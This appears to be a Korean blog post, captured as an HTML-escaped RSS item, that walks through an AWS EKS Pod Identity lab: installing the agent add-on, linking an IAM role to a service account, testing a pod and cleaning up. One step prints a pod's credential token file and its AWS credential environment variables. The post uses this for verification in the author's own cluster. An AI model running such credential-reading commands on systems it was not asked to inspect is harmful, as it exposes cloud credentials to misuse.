&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;249&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkZHo6/btsGwMgIp43/WX4uQNGA0gfVGXaP4M1g71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkZHo6/btsGwMgIp43/WX4uQNGA0gfVGXaP4M1g71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkZHo6/btsGwMgIp43/WX4uQNGA0gfVGXaP4M1g71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkZHo6%2FbtsGwMgIp43%2FWX4uQNGA0gfVGXaP4M1g71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;249&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;249&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IAM Channelge Level 6 문제
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://bigiamchallenge.com/challenge/1&quot;&gt;https://bigiamchallenge.com/challenge/1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lonelynova.tistory.com/375&quot;&gt;https://lonelynova.tistory.com/375&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://malwareanalysis.tistory.com/645&quot;&gt;https://malwareanalysis.tistory.com/645&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실습 확인 후 파드 삭제 및 IRSA 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712848993924&quot; class=&quot;routeros&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;#
kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Pod Identity&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Pod Identity는 쿠버네티스 클러스터에서 애플리케이션 또는 서비스가 AWS 리소스에 대해 안전하게 인증 및 권한 부여를 수행하기 위한 메커니즘을 제공하는 기능입니다. 특히 EKS 환경에서 Pod Identity는 AWS IAM 역할을 쿠버네티스 서비스 계정과 매핑하여 리소스에 대한 엑세스 권한을 관리합니다. Pod Identity를 사용하면 쿠버네티스 클러스터 내에서 실행되는 애플리케이션이나 마이크로서비스에 AWS IAM 역할을 할당할 수 있습니다. 이를 통해 애플리케이션은 해당 IAM 역할의 권한으로 AWS 리소스에 접근할 수 있습니다. 이 기능은 보안과 권한 부여를 강화하고 IAM 역할의 범위를 제한하여 보다 정확한 권한을 부여할 수 있도록 합니다. &lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1015&quot; data-origin-height=&quot;1197&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NxvOm/btsGyDXoaCH/PlUvj6uwRqrX3rq1bs2UTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NxvOm/btsGyDXoaCH/PlUvj6uwRqrX3rq1bs2UTK/img.png&quot; data-alt=&quot;https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NxvOm/btsGyDXoaCH/PlUvj6uwRqrX3rq1bs2UTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNxvOm%2FbtsGyDXoaCH%2FPlUvj6uwRqrX3rq1bs2UTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1015&quot; height=&quot;1197&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1015&quot; data-origin-height=&quot;1197&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;475&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TJVFP/btsGzeJPQbj/NhaUSEkwxzNFuZlQNI6RRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TJVFP/btsGzeJPQbj/NhaUSEkwxzNFuZlQNI6RRk/img.png&quot; data-alt=&quot;https://youtu.be/iyMcOpXRVWk?si=fFiMV9c7E0pg8Img&amp;amp;amp;t=1409&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TJVFP/btsGzeJPQbj/NhaUSEkwxzNFuZlQNI6RRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTJVFP%2FbtsGzeJPQbj%2FNhaUSEkwxzNFuZlQNI6RRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;475&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;475&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://youtu.be/iyMcOpXRVWk?si=fFiMV9c7E0pg8Img&amp;amp;t=1409&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9wpcZ/btsGz0xrUsV/aL1Xllkfe6vK9BfmGuhKHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9wpcZ/btsGz0xrUsV/aL1Xllkfe6vK9BfmGuhKHk/img.png&quot; data-alt=&quot;https://aws.amazon.com/blogs/containers/amazon-eks-pod-identity-a-new-way-for-applications-on-eks-to-obtain-iam-credentials/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9wpcZ/btsGz0xrUsV/aL1Xllkfe6vK9BfmGuhKHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9wpcZ%2FbtsGz0xrUsV%2FaL1Xllkfe6vK9BfmGuhKHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;844&quot; height=&quot;846&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://aws.amazon.com/blogs/containers/amazon-eks-pod-identity-a-new-way-for-applications-on-eks-to-obtain-iam-credentials/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;eks-pod-identity-agent 설치&lt;/h4&gt;
&lt;pre id=&quot;code_1712886454684&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
ADDON=eks-pod-identity-agent
aws eks describe-addon-versions \
    --addon-name $ADDON \
    --kubernetes-version 1.28 \
    --query &quot;addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]&quot; \
    --output text
v1.2.0-eksbuild.1
True
v1.1.0-eksbuild.1
False
v1.0.0-eksbuild.1
False

# 모니터링
watch -d kubectl get pod -A

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name eks-pod-identity-agent
혹은
eksctl create addon --cluster $CLUSTER_NAME --name eks-pod-identity-agent --version 1.2.0

# 확인
eksctl get addon --cluster $CLUSTER_NAME
kubectl -n kube-system get daemonset eks-pod-identity-agent
kubectl -n kube-system get pods -l app.kubernetes.io/name=eks-pod-identity-agent
kubectl get ds -n kube-system eks-pod-identity-agent -o yaml | kubectl neat | yh
...
      containers: 
      - args: 
        - --port
        - &quot;80&quot;
        - --cluster-name
        - myeks
        - --probe-port
        - &quot;2703&quot;
        command: 
        - /go-runner
        - /eks-pod-identity-agent
        - server
      ....
      ports: 
        - containerPort: 80
          name: proxy
          protocol: TCP
        - containerPort: 2703
          name: probes-port
          protocol: TCP
      ...
        securityContext: 
          capabilities: 
            add: 
            - CAP_NET_BIND_SERVICE
      ...
      hostNetwork: true
...

# 네트워크 정보 확인
## EKS Pod Identity Agent uses the hostNetwork of the node and it uses port 80 and port 2703 on a link-local address on the node. 
## This address is 169.254.170.23 for IPv4 and [fd00:ec2::23] for IPv6 clusters.
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ss -tnlp | grep eks-pod-identit; echo &quot;-----&quot;;done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c route; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c -br -4 addr; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c addr; done&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오전 10.49.18.png&quot; data-origin-width=&quot;1098&quot; data-origin-height=&quot;226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkyi4j/btsGw7EE68L/PdiwejBcL980SjEUPmFvSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkyi4j/btsGw7EE68L/PdiwejBcL980SjEUPmFvSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkyi4j/btsGw7EE68L/PdiwejBcL980SjEUPmFvSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkyi4j%2FbtsGw7EE68L%2FPdiwejBcL980SjEUPmFvSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1098&quot; height=&quot;226&quot; data-filename=&quot;스크린샷 2024-04-12 오전 10.49.18.png&quot; data-origin-width=&quot;1098&quot; data-origin-height=&quot;226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;podidentityassociation 설정&lt;/h4&gt;
&lt;pre id=&quot;code_1712887249778&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CloudFormation을 통해 스택 생성
eksctl create podidentityassociation \
--cluster $CLUSTER_NAME \
--namespace default \
--service-account-name s3-sa \
--role-name s3-eks-pod-identity-role \
--permission-policy-arns arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \
--region $AWS_REGION

# 확인
kubectl get sa
eksctl get podidentityassociation --cluster $CLUSTER_NAME
ASSOCIATION ARN											                                                      NAMESPACE	SERVICE ACCOUNT NAME	IAM ROLE ARN
arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-blaanudo8dc1dbddw	default		s3-sa			            arn:aws:iam::911283464785:role/s3-eks-pod-identity-role

aws eks list-pod-identity-associations --cluster-name $CLUSTER_NAME | jq
{
  &quot;associations&quot;: [
    {
      &quot;clusterName&quot;: &quot;myeks&quot;,
      &quot;namespace&quot;: &quot;default&quot;,
      &quot;serviceAccount&quot;: &quot;s3-sa&quot;,
      &quot;associationArn&quot;: &quot;arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-pm07a3bg79bqa3p24&quot;,
      &quot;associationId&quot;: &quot;a-pm07a3bg79bqa3p24&quot;
    }
  ]
}

# ABAC 지원을 위해 sts:Tagsession 추가
aws iam get-role --query 'Role.AssumeRolePolicyDocument' --role-name s3-eks-pod-identity-role | jq .
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;Service&quot;: &quot;pods.eks.amazonaws.com&quot;
      },
      &quot;Action&quot;: [
        &quot;sts:AssumeRole&quot;,
        &quot;sts:TagSession&quot;
      ]
    }
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오전 11.01.32.png&quot; data-origin-width=&quot;1341&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HaeDf/btsGyE9Qxk7/6SonCWNS8lqQhRwbQJIxbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HaeDf/btsGyE9Qxk7/6SonCWNS8lqQhRwbQJIxbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HaeDf/btsGyE9Qxk7/6SonCWNS8lqQhRwbQJIxbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHaeDf%2FbtsGyE9Qxk7%2F6SonCWNS8lqQhRwbQJIxbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1341&quot; height=&quot;59&quot; data-filename=&quot;스크린샷 2024-04-12 오전 11.01.32.png&quot; data-origin-width=&quot;1341&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오전 11.02.42.png&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/outqa/btsGAb6GCrT/z6mem3n2Xi4sSTFT9C7cgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/outqa/btsGAb6GCrT/z6mem3n2Xi4sSTFT9C7cgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/outqa/btsGAb6GCrT/z6mem3n2Xi4sSTFT9C7cgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foutqa%2FbtsGAb6GCrT%2Fz6mem3n2Xi4sSTFT9C7cgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;342&quot; data-filename=&quot;스크린샷 2024-04-12 오전 11.02.42.png&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-12 오전 11.03.38.png&quot; data-origin-width=&quot;1551&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJM5J2/btsGwzobLNs/z0n9EHYSRBKgrL6JwKTbd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJM5J2/btsGwzobLNs/z0n9EHYSRBKgrL6JwKTbd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJM5J2/btsGwzobLNs/z0n9EHYSRBKgrL6JwKTbd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJM5J2%2FbtsGwzobLNs%2Fz0n9EHYSRBKgrL6JwKTbd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1551&quot; height=&quot;203&quot; data-filename=&quot;스크린샷 2024-04-12 오전 11.03.38.png&quot; data-origin-width=&quot;1551&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;테스트용 파드 생성 및 확인 : &lt;span data-token-index=&quot;1&quot;&gt;AssumeRoleForPodIdentity&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d9PFAs/btsGyF8LgOq/ckHSOuvK0kRzlBap2sOVY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d9PFAs/btsGyF8LgOq/ckHSOuvK0kRzlBap2sOVY1/img.png&quot; data-alt=&quot;https://youtu.be/iyMcOpXRVWk?si=J4q7vOe-W4UhQ1wu&amp;amp;amp;t=2501&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d9PFAs/btsGyF8LgOq/ckHSOuvK0kRzlBap2sOVY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd9PFAs%2FbtsGyF8LgOq%2FckHSOuvK0kRzlBap2sOVY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;628&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://youtu.be/iyMcOpXRVWk?si=J4q7vOe-W4UhQ1wu&amp;amp;t=2501&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712887530304&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 서비스어카운트, 파드 생성
kubectl create sa s3-sa

cat &amp;lt;&amp;lt;EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-pod-identity
spec:
  serviceAccountName: s3-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

#
kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
kubectl exec -it eks-pod-identity -- aws s3 ls
kubectl exec -it eks-pod-identity -- env | grep AWS
WS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2

# 토큰 정보 확인
kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;실습 리소스 삭제&lt;/h4&gt;
&lt;pre id=&quot;code_1712887670190&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;eksctl delete podidentityassociation --cluster $CLUSTER_NAME --namespace default --service-account-name s3-sa
kubectl delete pod eks-pod-identity
kubectl delete sa s3-sa&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;고려사항&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/pod-id-minimum-sdk.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SDK 최신 버전&lt;/a&gt; 확인&lt;/li&gt;
&lt;li&gt;워커노드에 IAM Policy 확인 : Action 추가 (eks-auth:AssumeRoleForPodIdentity)&lt;/li&gt;
&lt;li&gt;보안 솔루션으로 링크 로컬 주소 사용 가능 여부 확인, 혹은 이미 사용 중인 주소인지, iptables 로 막혀있는지 확인&lt;/li&gt;
&lt;li&gt;How to migrate from IRSA to EKS Pod Identity : &lt;a href=&quot;https://aws.amazon.com/ko/blogs/containers/amazon-eks-pod-identity-a-new-way-for-applications-on-eks-to-obtain-iam-credentials/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;기존 IRSA &amp;rarr; PodIdentity 마이그레이션&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boGytX/btsGAevz1xd/dayHSLJk6nz6AW6Jp0lHxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boGytX/btsGAevz1xd/dayHSLJk6nz6AW6Jp0lHxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boGytX/btsGAevz1xd/dayHSLJk6nz6AW6Jp0lHxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboGytX%2FbtsGAevz1xd%2FdayHSLJk6nz6AW6Jp0lHxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;936&quot; height=&quot;742&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html#pod-id-considerations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;현재 지원 불가능&lt;/b&gt;&lt;/a&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;EKS Pod Identities are available on the following:
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Amazon &lt;b&gt;EKS&lt;/b&gt; cluster &lt;b&gt;versions&lt;/b&gt; listed in the previous topic&amp;nbsp;&lt;a href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html#pod-id-cluster-versions&quot;&gt;EKS Pod Identity cluster versions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Worker&lt;/b&gt; nodes in the cluster that are Linux Amazon EC2 instances.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;EKS Pod Identities aren't available on the following:
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b&gt;China&lt;/b&gt; Regions.&lt;/li&gt;
&lt;li&gt;AWS GovCloud (&lt;b&gt;US&lt;/b&gt;).&lt;/li&gt;
&lt;li&gt;AWS &lt;b&gt;Outposts&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Amazon EKS &lt;b&gt;Anywhere&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Kubernetes clusters that you create and run on Amazon EC2. The EKS Pod Identity components are only available on Amazon EKS.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;You can't use EKS Pod Identities with:
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Pods that run anywhere except Linux Amazon EC2 instances. Linux and Windows pods that run on &lt;b&gt;AWS Fargate&lt;/b&gt; (Fargate) aren't supported. Pods that run on &lt;b&gt;Windows Amazon EC&lt;/b&gt;2 instances aren't supported.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Amazon EKS add-ons&lt;/b&gt;&amp;nbsp;that need &lt;b&gt;IAM credentials&lt;/b&gt;. The EKS add-ons can only use&amp;nbsp;IAM roles for service accounts&amp;nbsp;instead. The list of EKS add-ons that use IAM credentials include:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Amazon VPC CNI plugin for Kubernetes&lt;/li&gt;
&lt;li&gt;AWS Load Balancer Controller&lt;/li&gt;
&lt;li&gt;The CSI storage drivers: EBS CSI, EFS CSI, Amazon FSx for Lustre CSI driver, Amazon FSx for NetApp ONTAP CSI driver, Amazon FSx for OpenZFS CSI driver, Amazon File Cache CSI driver&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/15</guid>
      <comments>https://imxsuu.tistory.com/15#entry15comment</comments>
      <pubDate>Fri, 12 Apr 2024 00:23:37 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] EKS Security</title>
